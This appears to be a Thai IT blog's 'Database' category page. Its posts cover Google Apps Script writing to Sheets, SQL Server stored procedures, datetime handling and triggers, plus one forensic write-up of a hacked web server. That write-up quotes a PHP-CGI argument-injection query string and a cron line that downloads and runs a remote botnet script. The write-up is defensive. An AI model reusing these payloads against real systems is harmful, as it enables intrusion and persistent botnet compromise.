Category: Database

  • วิธีการใช้ Google Sheets เป็นฐานข้อมูล

    Google Sheets เป็นหนึ่งใน Google Apps ซึ่งเป็น Application Suite ของ Google ประกอบด้วย

    ในการใช้งานทั่วไป Google Apps สามารถตอบสนองการใช้งานได้เป็นอย่างดี แต่เมื่อต้องการทำกิจกรรมบางอย่างที่นอกเหนือไปจากการใช้งานพื้นฐาน ผู้ใช้สามารถพัฒนาเพิ่มเติมได้เอง ด้วย Google Apps Script

    Google Apps Script เป็น Scripting Language ที่อยู่บนพื้นฐานของภาษา JavaScript สามารถใช้งานได้และพัฒนาต่อยอดได้ทันทีโดยไม่ต้องติดตั้งอะไรเพิ่มเติมอีกแล้ว สามารถเรียกใช้ Google Service ต่างๆได้มากมาย รวมถึง Google Sheets เพื่อสร้าง เมนูพิเศษ หรือ Macro เพื่อให้การทำงานที่ทำหลายๆขั้นตอนลดลงเหลือเพียงแค่คลิกเดียว อีกทั้งยังสามารถตั้งเวลาให้ทำงานอัตโนมัติ หรือ ตั้ง Trigger เพื่อให้ทำงานเมื่อเกิด Action ต่างๆได้อีกด้วย

    Google Apps Script มี 3 ชนิด ได้แค่ Standalone, Bound to Google Apps และ Web App ซึ่งจะสามารถใช้งานร่วมกับ Google Sites ได้อีกด้วย (Sites Gadget) รายละเอียดสามารถอ่านเพิ่มเติมได้ที่ Google Apps Script

    ในที่นี้ จะแสดงตัวอย่างการประยุกต์ใช้ Google Apps Script แบบ Standalone เพื่อพัฒนาให้ Google Sheets ทำหน้าที่เป็นฐานข้อมูล และจะนำไปสู่การต่อยอดเป็น วิธีการใช้ Google Sheets เป็นระบบเฝ้าระวังเว็บไซต์ (Website Monitoring) จากภายนอกองค์กร เพื่อตรวจสอบระยะเวลาในการตอบสนอง ( Response Time) ของเว็บไซต์ ได้อีกด้วย

    วิธีการใช้งาน Google Apps Script แบบ Standalone

    1. ใน Google Drive คลิก New > More > Connect more apps
    1. ในชื่อ search ใส่คำว่า script แล้วกด Enter
      จะพบ Google Apps Script แล้วกดปุ่ม Connect
    2. จากนั้น ใน Google Drive ให้คลิกที่ New > More > Google Apps Script
    3. จากนั้นให้คลิก Close ได้เลย
    4. จะได้พื้นที่โปรเจค (Project) ในการพัฒนา Google Apps Script โดยในแต่ละโปรเจคจะประกอบไปด้วยหลายๆไฟล์ Google Apps Script ได้

    ในการพัฒนา Google Apps Script นั้น จะต้องเขียนในรูปแบบของฟังก์ชั่น (Function) เพื่อให้สะดวกในการใช้งานต่างๆ

    ตัวอย่างเช่น มี Google Sheets อยู่ใน Google Drive ดังภาพ

    มีรายละเอียดดังนี้

    1. ชื่อของ SpreadSheet คือ “ฐานข้อมูลของฉัน”
    2. ประกอบไปด้วย Sheet ชื่อ “Sheet1” และ “Log”
    3. มี URL คือ
      https://docs.google.com/a/psu.ac.th/spreadsheets/d/1HJmyqiBYC_AEATmdUWakLgHFyYGqSqeqSA8xEw-8o-c/edit

    ต่อไปเป็นขั้นตอนการเขียน Google Apps Script เพื่อติดต่อกับ Google Sheet ข้างต้น เพื่อเขียนข้อมูลลงไป โดยตั้งชื่อโปรเจคนี้ว่า ProjectMyDB ตั้งชื่อไฟล์ว่า SheetDB.gs และตั้งชื่อฟังก์ชั่น “editSheet” ดังภาพ

    ขั้นตอนการทำงานของฟังก์ชั่น editSheet

    1. สร้างตัวแปร ss รับค่าจากการเปิด SpreadSheet จาก URL ข้างต้นด้วยคำสั่ง
      var ss = SpreadsheetApp.openByUrl('https://docs.google.com/a/psu.ac.th/spreadsheets/d/1HJmyqiBYC_AEATmdUWakLgHFyYGqSqeqSA8xEw-8o-c/edit');
    1. สั่งให้ SpreadSheet ดังกล่าว Active ด้วยคำสั่ง
      SpreadsheetApp.setActiveSpreadsheet(ss);

    1. เนื่องจากในแต่ละ SpreadSheet ประกอบด้วยหลาย Sheet จึงต้องระบุว่า จะทำงานกับ Active Sheet ชื่อ “Sheet1” ด้วยคำสั่ง
      SpreadsheetApp.setActiveSheet(ss.getSheetByName("Sheet1"));

    1. สร้างตัวแปร activeSheet เพื่อกำหนดว่ากำลังทำงาน Active Sheet ด้วยคำสั่ง
      var activeSheet=ss.getActiveSheet();

    1. เมื่อต้องการเขียนค่า “Hello World” ลงใน Active Sheet ที่ Cell “C3” ใช้คำสั่ง
      activeSheet.getRange("C3").setValue("Hello World");

    1. หากต้องการเขียนค่าทีละหลายๆ Cell หรือเป็น Range ต้องสร้างข้อมูลชนิด Array 2 มิติขึ้นมา แล้วจึงเขียนค่าลงไป กรณีต้องการใส่ค่าในช่วง “A1:C1” ใช้คำสั่ง
      var values =[  ["คณกรณ์","หอศิริธรรม","'3720024"]  ];
      activeSheet.getRange("A1:C1").setValues(values);

    1. หากต้องการเขียนค่าในช่วง “A2:A4” ใช้คำสั่ง
      values = [ ["เกรียงไกร"],["หนูทองคำ"],["'4220020"] ];
      activeSheet.getRange("A2:A4").setValues(values);

    1. เมื่อจะเก็บข้อมูลจริงๆ วิธีการข้างต้นจะไม่สะดวก เพราะจะต้องทราบว่าแถวสุดท้ายแล้วเพิ่มค่าแถวไปทีละหนึ่ง ซึ่งสามารถใช้วิธีการ Append Row กล่าวคือเขียนค่าลงไปในแถวถัดจากแถวล่าสุดที่มีข้อมูลได้ ในตัวอย่างนี้ จะสลับไปใช้ Sheet ชื่อ “Log” แล้วใส่ค่าลงไปด้วยคำสั่ง
      SpreadsheetApp.setActiveSheet(ss.getSheetByName("Log"));
      activeSheet=ss.getActiveSheet();
      var timestamp = new Date();
      activeSheet.appendRow([timestamp, 200 , 300]);
      timestamp = new Date();
      activeSheet.appendRow([timestamp, 200 , 456]);

    จากนั้น Save ข้อมูล แล้วสั่ง Run โดยเลือกฟังก์ชั่นชื่อ editSheet ดังภาพ

    ในการใช้งานครั้งแรก จะปรากฏหน้าต่าง Consent ขึ้นมาเพื่อขอสิทธิ์ในการเข้าใช้ไฟล์

    ผลที่ได้จากการทำงานคือ

    และ

    จะเห็นได้ว่าสามารถใช้ Google Apps Script เพื่อเขียนค่าใน Google Sheets เพื่อเป็นฐานข้อมูลได้ และสามารถประยุกต์ใช้งานอื่นๆได้อีกมากมาย

  • Stored Procedure sp_MSForEachTable จัดการได้ทุก Table ใน Database

    ใน MS SQL Server มี Stored Procedure ตัวหนึ่งที่มีประโยชย์ในการจะทำอะไรกับ Table ทุก Table ใน Database
    ตัวอย่างการใช้ Stored Procedure sp_MSForEachTable

    • นับจำนวน record ทั้งหมดของทุก Table ใน Database

    EXEC sp_MSForEachTable ‘SELECT ”?”, COUNT(*) FROM ?’
    หรือ
    sp_MSforeachtable @command1=” declare @tmp int select @tmp=count(*) from ? Print ‘Table Name 😕 |’ + convert(nvarchar, @tmp) ”

    • Rebuilding indexes on every table in the database.

    EXEC sp_MSforeachtable @command1=”print ‘Rebuilding indexes for ?’ ALTER INDEX ALL ON ? REBUILD WITH (FILLFACTOR = 90)”
    GO

    • Reorganizing indexes on every table in the database

    EXEC sp_MSforeachtable @command1=”print ‘Reorganizing indexes for ?’ ALTER INDEX ALL ON ? REORGANIZE”
    GO

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี

  • SQL Server All about DataTime data type

    Function GETDATE() AND SYSTEMDATETIME()

    • GETDATE แสดงข้อมูลระดับ miliseconds
    • SYSDATETIME แสดงข้อมูลระดับ nanoseconds.

    ::select GETDATE() >> “2013-11-14 10:25:24.337”
    ::select SYSDATETIME() >> “2013-11-14 10:26:14.4002569”

    การเปรียบเทียบ DataTime data column จะมีปัญหาให้ปวดหัวทุกที่จะทำอย่างไร ถึงจะสะดวกและ Performance ดีที่สุด ตัวอย่างทางเลือกที่ผมใช้งานครับ Convert ให้เป็น INT ไปเลยครับ ดังตัวอย่างนี้ครับ

    cast(convert(char(8), d.DocCreateDate, 112) as int) between 20130601 and 20131031

    GETDATE สามารบวก ลบ วันได้
    ::select GETDATE() + 10 >> เป็นการดึงวันที่ปัจจุบันแล้วบวกไปอีก 10 วัน
    การประยุกษ์ เช่นต้องการหาข้อมูลที่วันเวลาปัจจุบันเป็นฐานการดึงข้อมูล เป็นการ Filter แบบ Dynamic Filter เช่น select Column between getdate() – 100 and getdate + 100

  • Magic table for trigger in SQL Server

    ใน SQL Server ในการ insert ,Update and delete ข้อมูลต่างๆที่เกิดขึ้นจะถูกเก็บไว้ใน magic table อยู่ 2 table

    คือ inserted,deleted tables

    inserted table จะเก็บข้อมูล recordที่ถูกดำเนินการ และจะเก็บข้อมุลหลังจากการ Update เสร็จสิ้น

    Deleted table จะเก็บข้อมูล record ที่มีการลบไปล่าสุดและเก็บข้อมุลเก่าก่อนการ Update Record ไว้

    ในการเขียน Trigger สำหรับ table ใน SQL Server สำหรับการ Insert,delete จะไม่มีปัญหาอะไรดึงข้อมูล

    มาตรวจสอบจาก 2 table นั้นโดยตรง แต่ถ้าเป็นการ Update ก็จะต้องเลือกให้ดีว่าจะเอาข้อมูลอะไร ก่อนหรือหลังการ

    Update มาเก็บเป็น log นะครับ

    ตัวอย่างครับ

     

    CREATE TRIGGER [dbo].[LogTrigger]
    ON [dbo].[zzz]
    AFTER DELETE,UPDATE
    AS
    BEGIN
    SET NOCOUNT ON;

    if exists(select * from inserted)
        begin
                  insert into log_OptFac
                  select *,GETDATE(),’U’ from deleted
         end
    else
         begin
                   insert into log_OptFac
                   select *,GETDATE(),’D’ from deleted
         end
    END